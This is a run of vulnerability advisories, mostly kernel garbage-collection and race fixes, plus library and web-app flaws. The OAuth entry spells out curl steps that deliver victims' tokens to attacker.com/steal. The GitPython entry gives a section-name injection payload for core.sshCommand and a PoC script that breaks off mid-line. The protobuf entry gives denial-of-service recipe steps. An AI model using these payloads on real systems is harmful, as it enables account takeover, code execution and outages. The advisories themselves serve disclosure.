A high-severity vulnerability in the Linux kernel's af_unix subsystem involving improper unlinking of scc_entry in the unix_del_edge() function has been resolved. The flaw could cause the garbage collector (GC) to partially free a dead strongly connected component (SCC), leading to use-after-free or memory corruption scenarios. This occurs due to a race condition when edges are added and sockets are closed concurrently, causing inconsistent GC state. The issue affects specific Linux kernel versions and has a CVSS score of 7.8.

In the Linux kernel, the following vulnerability has been resolved: netfilter: flowtable: publish GC-visible tuple last nf_flow_table_iterate() only treats original-direction tuple nodes as owning entries. Publishing the original node first lets GC observe and free a flow while flow_offload_add() is still inserting the reply node. Publish the reply node first and the original node last so GC never sees a partially installed flow. KASAN can trigger slab-use-after-free read and write reports in the flowtable/rhashtable path (rht_deferred_worker, jhash, flow_offload_del, flow_offload_lookup, etc.).

In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: fix refcount race between list:set GC and swap __ip_set_put_byindex() resolved the index to a set pointer under RCU, then took ip_set_ref_lock in __ip_set_put() to decrement set->ref. ip_set_swap() holds that same lock while swapping both the ip_set_list slots and the two sets' ref counters, so it can interleave between the dereference and the lock acquisition, leaving the caller to decrement a set whose reference already moved to the other index and hit BUG_ON(set->ref == 0). list_set_gc() reaches this from timer softirq, which the nfnl mutex does not serialize against swap: an expiring list:set member calls list_set_del() -> ip_set_put_byindex() while IPSET_CMD_SWAP runs on the referenced sets. Resolve the index and decrement under ip_set_ref_lock, as ip_set_swap() already does, keeping the refcount tied to the index rather than to a stale set pointer. kernel BUG at net/netfilter/ipset/ip_set_core.c:685!

A vulnerability in the Linux kernel's netfilter ipset subsystem was resolved, where garbage collection (gc) was not properly stopped due to improper synchronization between cancel_delayed_work_sync() and queue_delayed_work(). This could lead to improper shutdown of gc processes. The issue affects specific Linux kernel versions used in linux-hwe-edge. The vulnerability has a high severity with a CVSS score of 7.8 and has been patched.

In the Linux kernel, the following vulnerability has been resolved: xfrm: clear mode callbacks after failed mode setup xfrm_state_gc_task can run long after a failed IPTFS state setup. In the reproduced case, __xfrm_init_state() cached x->mode_cbs, IPTFS setup returned -ENOMEM before publishing mode_data, and the temporary module reference from xfrm_get_mode_cbs() was dropped immediately. The dead state then kept x->mode_cbs until deferred GC ran after xfrm_iptfs had been unloaded. Clear x->mode_cbs when mode init or clone fails before publishing mode_data. Those states never installed mode-specific state or the long-term IPTFS module pin, so deferred GC has nothing mode-specific to destroy and must not retain a callback table pointer past the temporary lookup reference. The buggy scenario involves two paths, with each column showing the order within that path: failed setup path: 1. cache x->mode_cbs 2. mode setup fails before mode_data 3. drop the temporary module ref 4. dead state keeps x->mode_cbs cached GC/unload path: 1. xfrm_state_put() queues GC work 2. xfrm_iptfs unloads later 3. xfrm_state_gc_task runs 4. GC dereferences stale x->mode_cbs This also covers the failed clone path where clone_state() returns before publishing mode_data.

### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co

nebula-mesh is a self-hosted control plane for Slack Nebula mesh virtual private network. Prior to version 0.3.7, internal/pki/resolver.go:36-64 constructs a CAManager with the plaintext ed25519.PrivateKey after unwrapping via the master key; internal/pki/ca.go:13-16 stores it. Callers at internal/api/enroll.go:116, internal/api/updates.go:297, and internal/api/mobile_bundle.go:40 use the manager for one Sign() and drop the reference on function return — but the underlying slice contents are not wiped before release. The keystore package's contract (internal/keystore/keystore.go doc: "Callers MUST zeroise the returned plaintext DEK as soon as it is no longer needed") is not met by the CAManager consumer. Decrypted CA private keys persist in process heap until Go's GC scavenges the underlying slice — minutes to hours under load, indefinitely on idle servers. This issue has been patched in version 0.3.7.

In the Linux kernel, the following vulnerability has been resolved: hwmon: (pmbus/adm1266) cap PDIO scan in get_multiple at ADM1266_PDIO_NR adm1266_gpio_get_multiple() iterates the PDIO portion of the caller-supplied mask using for_each_set_bit_from(gpio_nr, mask, ADM1266_GPIO_NR + ADM1266_PDIO_STATUS) { ... } where ADM1266_PDIO_STATUS is the PMBus command code (0xE9, i.e. 233), not the number of PDIO pins. The intended upper bound is ADM1266_GPIO_NR + ADM1266_PDIO_NR = 25. gpiolib hands in a mask sized for gc.ngpio (= 25 bits on this chip), so the iteration walks find_next_bit() up to 242, reading up to 217 extra bits (a handful of unsigned-long words: four on 64-bit, seven on 32-bit) of whatever lives past the end of the mask in the caller's stack. Any incidental set bit in that range then drives a set_bit(gpio_nr, bits) call that writes past the end of the caller-supplied bits array too -- both out-of-bounds. Substitute ADM1266_PDIO_NR for the constant so the scan stops at the last real PDIO bit.

In the Linux kernel, the following vulnerability has been resolved: Revert "f2fs: remove non-uptodate folio from the page cache in move_data_block" This reverts commit 9609dd704725a40cd63d915f2ab6c44248a44598. The kernel panics are keeping to be reported especially when the f2fs partition get almost full. By investigation, we find that the reason is one f2fs page got freed to buddy without being deleted from LRU and the root cause is the race happened in [2] which is enrolled by this commit. There are 3 race processes in this scenario, please find below for their main activities. The changed code in move_data_block() lets the GC path evict the tail-end folio from the page cache through folio_end_dropbehind(). Once folio_unmap_invalidate() removes the folio from mapping->i_pages, the page-cache references for all pages in the folio are dropped. The folio is then kept alive only by temporary external references, which allows a later split to operate on a folio whose subpages are no longer protected by page-cache references. After the page-cache references are gone, split_folio_to_order() can split the big folio into individual pages and put the resulting subpages back on the LRU. For tail pages beyond EOF, split removes them from the page cache and drops their page-cache references. A tail page can then remain on the LRU with PG_lru set while holding only the split caller's temporary reference. When free_folio_and_swap_cache() drops that final reference, the page enters the final folio_put() release path. In parallel, folio_isolate_lru() can observe the same tail page with a non-zero refcount and PG_lru set. It clears PG_lru before taking its own reference. If this races with the final folio_put() from the split path, __folio_put() sees PG_lru already cleared and skips lruvec_del_folio(). The page is then freed back to the allocator while its lru links are still present in the LRU list. A later LRU operation on a neighboring page detects the stale link and reports list corruption.

Improper Handling of Insufficient Privileges vulnerability in Apache Accumulo. An authenticated, but low-privileged user without system permissions may issue a remote command to gracefully shutdown system components (compaction-coordinator, compactor, gc, manager, monitor, tserver, or sserver), leading to a denial of service. This issue affects Apache Accumulo 2.1.4 and 2.1.5. Users are recommended to upgrade to version 2.1.6, which fixes the issue.

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 3.7.15 and 4.0.6, the allow-list fix for CVE-2026-31892 is incomplete because workflow/util/merge.go ValidateUserOverrides and SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection, and WorkflowSpec.ArtifactGC is allow-listed wholesale; the struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod, the same sink the original fix closed for WorkflowSpec.PodSpecPatch, so a user submitting a Workflow under templateReferencing: Strict or Secure (against a referenced WorkflowTemplate that declares an output artifact and setting spec.artifactGC.strategy: OnWorkflowCompletion) can still inject an arbitrary strategic merge patch into the artifact-GC pod, including hostPath volumes, privileged: true, arbitrary image and command, and hostNetwork: true, defeating the stated purpose of Strict/Secure reference mode. This issue is fixed in versions 3.7.15 and 4.0.6.

### Summary Unbounded recursion depth in `Protobuf.Decoder` (Hex package `protobuf`, versions `>= 0.8.0, < 0.16.1`) lets an unauthenticated attacker crash any service that decodes untrusted protobuf messages whose schema contains a self-referential or cyclic message type. A small request body (a few KB to a few MB) that nests an embedded field hundreds of thousands to millions of levels deep forces the BEAM to recurse once per level, exhausting memory and pinning a scheduler. A handful of such requests can take the node offline (a request-amplification denial of service). ### Details `Protobuf.Decoder.value_for_field/3` handles embedded message fields in its `embedded?: true` branch at `lib/protobuf/decoder.ex:218-243`. For an embedded field it calls `decode(bin, type)` recursively, which re-enters `build_message → handle_value → value_for_field`. The recursive call is not in tail position (its result is consumed by the surrounding decode after it returns), so every nesting level retains a live frame on the process stack and heap. There is no recursion-depth counter anywhere in the decoder. For any schema with a self-referential message type (e.g. `message Tree { Tree child = 1; }`, a common shape for comment threads, org charts, file trees, and ASTs) or any cycle of message types, the attacker controls the nesting depth entirely through the input bytes. Each additional level costs only a 1-byte field tag plus a varint length prefix, so depth grows roughly inversely with payload size: a tiny body buys an enormous recursion depth. Reference protobuf implementations (Google's C++, Java, etc.) cap recursion at 100 specifically to prevent this. The Elixir decoder enforces no comparable bound, so the recursion continues until the process exhausts memory, blows the stack, or starves the scheduler doing GC over the deep structure. The fix threads a depth counter through `decode / build_message / handle_value / value_for_field` (or holds it in the process dictionary for the duration of the top-level `decode`) and raises `Protobuf.DecodeError` once it exceeds a configurable limit, defaulting to 100 to match the reference implementations. ### PoC 1. Define a self-referential schema: `defmodule Tree do use Protobuf, syntax: :proto3; field(:child, 1, type: Tree) end`. 2. Build a wire-format body inner-to-outer: at each of `depth` levels prepend `<<0x0A, length_varint(inner_size), inner>>` (tag `0x0A` = field 1, wire type 2). Use an iolist with a running byte-size to keep generation O(depth). 3. POST the body (a few MB at `depth = 1_000_000`) as `application/x-protobuf` to any endpoint that calls `Tree.decode/1`. 4. The non-tail `decode(bin, type)` in `value_for_field/3` re-enters once per nesting level, accumulating a frame per level. The decode burns seconds of CPU and hundreds of MB on the victim node; a few concurrent requests exhaust it. ### Impact Unauthenticated, network-reachable request-amplification denial of service against any service that decodes attacker-influenced protobuf bytes into a self-referential or cyclic message type. A single small request can consume seconds of CPU and hundreds of MB of memory on the victim; a few concurrent requests can take the node offline. ## Resources * Introduction commit: https://github.com/elixir-protobuf/protobuf/commit/21ec7c5bec4fec74e10c1de0d5d1a2d8152ac5d4 * Patch commit: https://github.com/elixir-protobuf/protobuf/commit/b8efa97790eece3d2d0e8e7c31a45ed409fe5338

## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"victim@example.com","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ```

Ladybird before commit 2f9dc7e contains a dangling-reference memory-safety flaw in its WebAssembly ESM-integration module loader. When a JavaScript function is imported into a WebAssembly module via the ESM path, WebAssemblyModule.cpp passes a stack-local Wasm::FunctionType by reference to create_host_function, whose host callback captures and later reads that reference; once the ESM link-loop iteration ends the FunctionType is destroyed, leaving the callback with a dangling reference (the normal instantiate path uses a long-lived reference and is not affected). Stale result-type data lets the host callback return an empty result vector for a statically non-empty result, so the destination register retains an attacker-influenced value that is then consumed by the WASM-GC array.set handler, which bit-casts the reference low bits to an ArrayInstance pointer after only a null check, yielding an arbitrary write. A web page can chain this into code execution in the WebContent process. Verified reachable from HTML content without any instrumentation or source modification.

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. Prior to version 3.17.2, is vulnerable to Use-After-Free when in SAJ mode. The Oj::Parser does not protect cached object keys (≥ 35 bytes) from garbage collection, and a Ruby callback that triggers GC inside hash_end can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address 0x4242 (a canary-style pattern suggesting control over the freed memory's content). This issue has been fixed in version 3.17.2.

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, Oj::Parser in usual mode does not mark array_class and hash_class references during garbage collection, leading to Use-After-Free. If GC runs after the class is assigned but before a parse, the class object is reclaimed, leaving the parser holding a dangling VALUE. The subsequent parse call dereferences the freed object, producing a segfault. This issue has been fixed in version 3.17.2.

In the Linux kernel, the following vulnerability has been resolved: nilfs2: reject zero bd_oblocknr in nilfs_ioctl_mark_blocks_dirty() nilfs_ioctl_mark_blocks_dirty() uses bd_oblocknr to detect dead blocks by comparing it with the current block number bd_blocknr. If they differ, the block is considered dead and skipped. However, bd_oblocknr should never be 0 since block 0 typically stores the primary superblock and is never a valid GC target block. A corrupted ioctl request with bd_oblocknr set to 0 causes the comparison to incorrectly match when the lookup returns -ENOENT and sets bd_blocknr to 0, bypassing the dead block check and calling nilfs_bmap_mark() on a non-existent block. This causes nilfs_btree_do_lookup() to return -ENOENT, triggering the WARN_ON(ret == -ENOENT). Fix this by rejecting ioctl requests with bd_oblocknr set to 0 at the beginning of each iteration.
